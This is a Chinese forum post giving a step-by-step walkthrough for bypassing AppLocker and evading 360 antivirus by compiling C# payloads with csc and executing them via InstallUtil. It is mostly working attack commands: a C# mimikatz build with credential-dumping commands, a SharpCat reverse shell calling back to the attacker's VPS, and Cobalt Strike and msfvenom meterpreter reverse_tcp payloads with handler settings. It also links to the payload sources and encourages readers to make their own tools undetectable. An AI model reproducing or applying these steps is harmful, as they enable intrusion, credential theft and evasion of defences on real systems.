投稿文章:Bypass Applocker + 免杀执行任意 shellcode [ csc + installUtil ]

2019-01-09 20:52:55 5 10165 1

Bypass Applocker + 免杀执行任意 shellcode [ csc + installUtil ]

关于 csc 和 InstallUtil 所在的默认系统路径位置,32 和 64 位路径稍有不同 [ 注: 此后的所有操作将全部在装有最新版的 360 卫士(已优化到最好状态) + 杀毒(已把病毒库更新到最新,并开启所有查杀引擎)套装的机器上进行 ]

C:\Windows\Microsoft.NET\Framework\v2.0.50727\
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\
C:\Windows\Microsoft.NET\Framework\v4.0.30319\
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\

0x01 简单了解 csc 和 InstallUtil 到底是个什么东西 ?

csc 简单来讲,其实就是个 c# 的命令行编译工具,专门用来编译*.cs 文件用的. installutil 微软官方给的解释是这样的,它允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源,此工具通常和 System.Configuration.Install 命名空间中的类一起使用,暂且就简单把它理解成 windows 内置的一种命令行安装工具就行.

0x02 首先,简单测试下 InstallUtil 能否完美 bypass applocker [ 此处暂以 bypass applocker 执行 powershell 代码为例 ]

既然是要用到 applocker,那肯定要先把它用起来才行,过程很简单,首先,启动"Application Identity "服务,win + r 运行键入 secpol.msc 找到"本地安全策略" -> "应用程序控制策略" -> "applocker" -> "可执行策略" -> 右键点击 "创建默认规则",如下

如下可知,默认的可执行规则,只允许其它用户执行"windows"和" Program Files"目录下的可执行文件,只有系统内建的"administrators"管理组中的用户才可以执行系统中的所有可执行文件

接着,就自己来创建一条简单的执行规则,目的很明确,就想通过 applocker 禁止当前系统中的所有用户去执行 powershell

Ok,规则创建完以后,再来顺手简单测下,看它到底有没有生效,很明显,此时不管你是用管理用户还是普通用户,都已无正常执行 powershell,也就说明刚刚上面的执行策略已经生效了

最后,就该来看下 installutil 实际的 applocker bypass 效果如何了,先用 csc 去编译 InstallUtil-PowerShell.cs[其实,它实现的功能就相当于一个 c#版的 powershell]文件,注意,编译时务必要引用这个 dll,而后再去用 installutil 安装执行 psshell.exe 即可,默认情况下 installutil 执行期间会记录日志文件到当前路径下,可以加上相应的选项,不让它记录就行

# cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319\
# csc.exe /reference:"C:\Windows\winsxs\msil_system.management.automation_31bf3856ad364e35_6.1.7601.17514_none_236c706c3e93d144\System.Management.Automation.dll" /out:psshell.exe InstallUtil-PowerShell.cs
# C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U psshell.exe

实际效果很明显,几乎算是完美的 bypass applocker 执行 powershell 了,不过需要注意的是,此处执行命令或者 ps 代码都会在一个子进程下,所以,在实战中,如果你是直接用弹回来的那个 cmd shell 这样去执行,很可能会接不到子进程的数据,所以,最好能找个机会直接登到对方的桌 面里去搞[注意,这仅仅只是其中的一种方式,并不是唯一,虽然这么说但不一定就非得这么干才行],至于没有命令提示符的问题,自行去 InstallUtil-PowerShell.cs 文件中找到对应的代码段,随便在前面加个提示符就行,最后还需要说明的是,此操作是全程在 360 套装[卫士+杀毒]包裹下 进行的,且过程中暂无任何反应

InstllUtil 进程貌似只会在你执行命令期间才会出现

0x03 尝试借助 InstallUtil 免杀抓取目标系统管理员用户的明文密码或 hash

上面说完执行 powershell,接着再来尝试抓 hash,过程也比较简单,先在 vs cmd 下用 sn 工具随便生成一个 snk 秘钥文件[它主要是用来标识唯一程序集的,其实,用不用,问题都不大,怕冲突而已],这里的 katz.cs 其实就是一个事先加工好的 c#版的 mimikatz,具体操作如下

# sn -k c:\installutil.snk
# C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:katz.exe /keyfile:C:\tools\installutil.snk /unsafe C:\tools\katz.cs
# C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U c:\katz.exe

如下,当我们尝试抓取当前系统的明文密码时,360 也没有任何提示或者报警

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

0x04 尝试借助 InstallUtil 免杀弹回目标系统的原生 cmd shell

同样,既是反弹 shell,那肯定视线得有个回连的 ip 和端口[通常都是自己的 vps],到 SharpCat.cs[暂且可以把它理解成 c#版的 nc]文件中,把回连的 ip 和端口改成自己 vps 的,有时当其它的高级 shellcode 免杀自己实在搞不定,先用这种办法,临时性的把目标系统的 cmd shell 先弹 到自己的 vps 上慢慢搞也是可以的

同样,先用 csc 编译 SharpCat.cs,而后再用 installutil 安装执行

# C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:SharpCat.exe /keyfile:C:\tools\installutil.snk /unsafe C:\tools\SharpCat.cs
# C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U SharpCat.exe

如下,目标系统的 cmd shell 即被正常弹回,此期间,360 套装仍无任何提示或者报毒,这里的中文乱码是正常的,暂时不用管它,并不影响正常的命令执行

# nc -lvvp 110

0x05 最后,这也可能是我们在实战中用的相对比较多的,尝试借助 InstallUtil 免杀执行任意 shellcode

首先,我们就来看看如何利用 installutil 免杀弹回目标系统的 beacon [其实,单单对于 360 来讲,有时不用 installutil,大部分情况下也都是能直接能免杀弹回 beacon 的],ok 废话不多说,咱们直接看具体操作 先用 CobaltStrike 生成 64 位的 c# shellcode,具体如下

107110181de7058143006e2.jpg)

之后,再到 InstallUtil-Shellcode.cs 文件中去替换长度和 shellcode

依然是用 csc 编译 InstallUtil-Shellcode.cs,编译时稍微注意下,平台选择 64 位,而后再继续用 64 位的 installutil 去安装执行即可

# C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /unsafe /platform:x64 /out:beacon.exe C:\tools\InstallUtil-Shellcode.cs
# C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U beacon.exe

随后,便会发现我们的 beacon 已被正常弹回,同样,在此期间,360 套装仍然无任何反应,不妨顺手再试着做些敏感操作,比如,截屏,抓 hash,键盘记录,getsystem...键盘记录和 getsystem 这种可能会被拦掉,但绝大部分功能都是可以正常使用的

至于,如何免杀弹回目标系统的 meterpreter,过程其实也都是类似的 先用 msfvenom 生成 64 位的 c# shellcode,如下

# msfvenom --platform Windows -a x64 -p windows/x64/meterpreter/reverse_tcp_uuid LHOST=192.168.3.69 LPORT=110 -b '\x00' -e x64/xor -i 16 -f csharp -o /var/www/html/meter.txt

继续把 InstallUtil-Shellcode.cs 文件中的 shellcode 和长度进行替换,如下

用 64 位的 csc 去编译 InstallUtil-Shellcode.cs,而后再用 64 位的 installutil 去安装执行

# C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /unsafe /platform:x64 /out:shell.exe InstallUtil-Shellcode.cs
# C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U shell.exe

如上图所示,正如我们预期的那样 meterpreter 被正常弹回,且此执行期间 360 全程无任何反应,接下来的事情,就是该按你自己的实际需求做一些后渗透的工作了,不过,像 getsystem 类似的操作,360 还是会报毒的,好在即使它报毒了,但我们当前的 shell 依然不会掉

msf > use exploit/multi/handler
msf > set payload windows/x64/meterpreter/reverse_tcp_uuid
msf > set lhost 192.168.3.69
msf > set lport 110
msf > set exitonsession false
msf > set EnableStageEncoding true
msf > set Stageencoder x64/xor
msf > set stageencodingfallback false
msf > exploit -j -z

可能你会觉得我的 360 没工作,其实,它一直都在正常工作,不妨直接用 CobaltStrike 生成 exe 然后丢到系统中,如下,瞬间就杀了

再来简单看下这种方式在 nod32 下的表现,也很明显,编译期间瞬间就被秒了,至于其它的卡巴,趋势就更不用说了...

关于文章中所用到的 cs 文件代码,百度云链接如下: https://pan.baidu.com/s/1LCdInfXS837XbrsRRsFj9w

为了避免执行过程中出些兼容性问题,不管是自己的工具还是 payload 最好都按照和目标系统对应的位数及版本去编译,由于此处演示的目标系统是 2008r2 64 位的,所以,你看到的操作也几乎都是在 64 位下进行的,另外,需要特别说明的是,虽然,现在这些方式暂时还是免杀的,但保不齐,过几分钟,几个小时或者明天它很可能不再免杀了,这也都是再正常不过的事情,所以,大家大可不必太拘泥于某些死技巧,c# 还不错的弟兄,不妨尝试着按照上面的方式去自行免杀一些自己的常用工具,其实单就 installutil 来讲,能衍生出的用法还非常多,篇幅原因,此处就不细说了,以后等测好会继续更新上来,再次重申,本文旨在简单 demo,传递基本思路,并不能从根源上去解决你实际渗透过程中遇到的所有免杀问题,废话就不多说了,欢迎弟兄们一起深入交流讨论 ^_^

关于作者

D4m0cl3s篇文章篇回复

评论5次

要评论?请先  登录  或  注册